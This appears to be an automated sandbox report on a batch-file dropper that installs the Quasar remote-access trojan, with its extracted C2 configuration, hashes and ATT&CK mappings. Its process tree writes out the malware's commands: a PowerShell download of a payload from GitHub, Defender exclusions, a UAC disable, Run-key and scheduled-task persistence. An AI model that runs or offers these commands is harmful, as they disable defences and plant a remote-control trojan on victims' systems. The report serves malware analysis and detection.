Analysis
- max time kernel
143s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system - submitted
14/08/2024, 12:37
Static task
static1
Behavioral task
behavioral1
Sample
-.bat.fud.bat
Resource
win7-20240704-en
General
- Target -.bat.fud.bat
- Size 8KB
- Sample240814-ptsy3axcpr
- SHA256 7680d0a8ddfaa5802cc5b3f658fb24b1a1df3c19121cb7e365c9fd3dbbf70213
- MD5 5f6b1db506b37d5de1b52d70f1a42b1d
- SHA1 df4baf61c956eccd919deb74b1fdd7dc9d319926
- SHA512 c574a8872a4954caacd25e4ddb5d594bbc27d363ea7a8e1343963c2413d960d6891797c0ede0b3bc7365cf3628d5eb8a39a1b5d70fe87b7e72b51fcadf3829ee
- SSDEEP 192:Y+pkh/m0cbdoW/CX2bKesv6jcNQbWZdtJiO4qsGJ3nI1M0:YVh/VY7/CX2bTaZdHiFqfRIB
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
quasar
-
1.4.1
-
%PAYLOAD%
-
66.66.66.66:6666
-
66.6v6.66.66:6666
-
v:6666
-
147.185.221.21:55609
-
8.8.8.8:80
-
1.1.11.1.1.1.1:443
-
1.1.1.1:443
-
1e59bb04-60ad-4948-8fa2-6b679edd04ba
-
encryption_key
070CDBCBB8132B62B93E1CB06630D9221F0FFA4A
-
install_name
UnderControl.exe
-
log_directory
Logs
-
reconnect_delay
2000
-
startup_key
uno
-
subdirectory
Microsoft
Signatures
- Quasar payload 2 IoCs
resource yara_rule behavioral2/files/0x000600000001da3a-44.dat family_quasar behavioral2/memory/2680-47-0x00000000006C0000-0x00000000009EC000-memory.dmp family_quasar -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe - Blocklisted process makes network request 2 IoCs
flow pid Process 21 3116 powershell.exe 27 3116 powershell.exe -
pid Process 3116 powershell.exe 3056 powershell.exe 1700 powershell.exe - Downloads MZ/PE file
- Executes dropped EXE 2 IoCs
pid Process 2680 Die.exe 1284 UnderControl.exe - Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\- = "C:\\Users\\Admin\\AppData\\Local\\PP2\\Die.exe" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\- = "C:\\Windows\\System32\\Microsoft\\UnderControl.exe\" /f" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\- = "C:\\Users\\Admin\\AppData\\Local\\PP2\\Die.exe" reg.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 24 raw.githubusercontent.com 27 raw.githubusercontent.com - Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\system32\Microsoft UnderControl.exe File created C:\Windows\system32\Microsoft\UnderControl.exe Die.exe File opened for modification C:\Windows\system32\Microsoft\UnderControl.exe Die.exe File opened for modification C:\Windows\system32\Microsoft Die.exe File opened for modification C:\Windows\system32\Microsoft\UnderControl.exe UnderControl.exe - Modifies registry key 1 TTPs 4 IoCs
pid Process 3760 reg.exe 4524 reg.exe 5036 reg.exe 5060 reg.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5104 schtasks.exe 4244 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3056 powershell.exe 3056 powershell.exe 1700 powershell.exe 1700 powershell.exe 3116 powershell.exe 3116 powershell.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 3056 powershell.exe Token: SeDebugPrivilege 1700 powershell.exe Token: SeDebugPrivilege 3116 powershell.exe Token: SeDebugPrivilege 2680 Die.exe Token: SeDebugPrivilege 1284 UnderControl.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1284 UnderControl.exe - Suspicious use of WriteProcessMemory 30 IoCs
description pid Process procid_target PID 4860 wrote to memory of 640 4860 cmd.exe 85 PID 4860 wrote to memory of 640 4860 cmd.exe 85 PID 640 wrote to memory of 2968 640 net.exe 86 PID 640 wrote to memory of 2968 640 net.exe 86 PID 4860 wrote to memory of 3056 4860 cmd.exe 87 PID 4860 wrote to memory of 3056 4860 cmd.exe 87 PID 4860 wrote to memory of 1700 4860 cmd.exe 91 PID 4860 wrote to memory of 1700 4860 cmd.exe 91 PID 4860 wrote to memory of 2096 4860 cmd.exe 92 PID 4860 wrote to memory of 2096 4860 cmd.exe 92 PID 4860 wrote to memory of 3116 4860 cmd.exe 93 PID 4860 wrote to memory of 3116 4860 cmd.exe 93 PID 4860 wrote to memory of 3760 4860 cmd.exe 99 PID 4860 wrote to memory of 3760 4860 cmd.exe 99 PID 4860 wrote to memory of 2680 4860 cmd.exe 100 PID 4860 wrote to memory of 2680 4860 cmd.exe 100 PID 4860 wrote to memory of 4876 4860 cmd.exe 101 PID 4860 wrote to memory of 4876 4860 cmd.exe 101 PID 4860 wrote to memory of 4524 4860 cmd.exe 102 PID 4860 wrote to memory of 4524 4860 cmd.exe 102 PID 4860 wrote to memory of 5036 4860 cmd.exe 103 PID 4860 wrote to memory of 5036 4860 cmd.exe 103 PID 4860 wrote to memory of 5060 4860 cmd.exe 104 PID 4860 wrote to memory of 5060 4860 cmd.exe 104 PID 2680 wrote to memory of 5104 2680 Die.exe 106 PID 2680 wrote to memory of 5104 2680 Die.exe 106 PID 2680 wrote to memory of 1284 2680 Die.exe 108 PID 2680 wrote to memory of 1284 2680 Die.exe 108 PID 1284 wrote to memory of 4244 1284 UnderControl.exe 109 PID 1284 wrote to memory of 4244 1284 UnderControl.exe 109 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 2096 attrib.exe 4876 attrib.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\-.bat.fud.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:2968
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\PP2'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3056
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\Microsoft'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1700
-
-
C:\Windows\system32\attrib.exeattrib +h "PP2" /s/d2⤵
- Views/modifies file attributes
PID:2096
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowershell -Command "Invoke-Webrequest 'https://github.com/AdeebToPro/-/raw/main/Die.exe' -OutFile Die.exe"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3116
-
-
C:\Windows\system32\reg.exereg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f2⤵
- UAC bypass
- Modifies registry key
PID:3760
-
-
C:\Users\Admin\AppData\Local\PP2\Die.exeDie.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "uno" /sc ONLOGON /tr "C:\Windows\system32\Microsoft\UnderControl.exe" /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
PID:5104
-
-
C:\Windows\system32\Microsoft\UnderControl.exe"C:\Windows\system32\Microsoft\UnderControl.exe"3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1284 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "uno" /sc ONLOGON /tr "C:\Windows\system32\Microsoft\UnderControl.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
PID:4244
-
-
-
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Local\PP2\Die.exe" /s /d2⤵
- Views/modifies file attributes
PID:4876
-
-
C:\Windows\system32\reg.exereg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v - /t REG_SZ /d "C:\Users\Admin\AppData\Local\PP2\Die.exe" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:4524
-
-
C:\Windows\system32\reg.exereg ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v - /t REG_SZ /d "C:\Windows\System32\Microsoft\UnderControl.exe\" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:5036
-
-
C:\Windows\system32\reg.exereg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v - /t REG_SZ /d "C:\Users\Admin\AppData\Local\PP2\Die.exe" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:5060
-
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
- MD5 d28a889fd956d5cb3accfbaf1143eb6f
- SHA1 157ba54b365341f8ff06707d996b3635da8446f7
- SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 a6c642eaf80247e9682be60ab5ae9ece4d042af56013d164d8047b6fd1aefa1d
- MD5 caae66b2d6030f85188e48e4ea3a9fa6
- SHA1 108425bd97144fa0f92ff7b2109fec293d14a461
- SHA512 189119a2390e51a49ea0fb8ad1427279cc2bf85f220f3212957c50b33387623b42ab7736fb5a717757b5c4b99c570e7ed2e5e6a578424aafb5c126cdf129ea15
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\PP2\Die.exe
- Size 3.2MB
- SHA256 0fff7004883e865d1eef661d4a7409e75d7c1393902dc483c26a280aecfa4e03
- MD5 fbcff1aa50bc5a65015472fe1ad0b654
- SHA1 c01de71f6e14427c9120d0a18fb2129eeda8ce2e
- SHA512 835b0a86167334f3a2bc74a6d076216335aceffc46c8559285c886088743934a2252f49d4ce97ef90dbc6799815903513c336856869582d051eb5b6d37d4b266
- SSDEEP 49152:DvDbkh2nPabr1sPJlgDNBLSA7ukBiQaEf/Zk/M5hoGdtUDTHHB72eh2NT:DvDAh2nPabr1sPJlgDNBSA7ukBiQV/
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zpgyaiao.scd.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512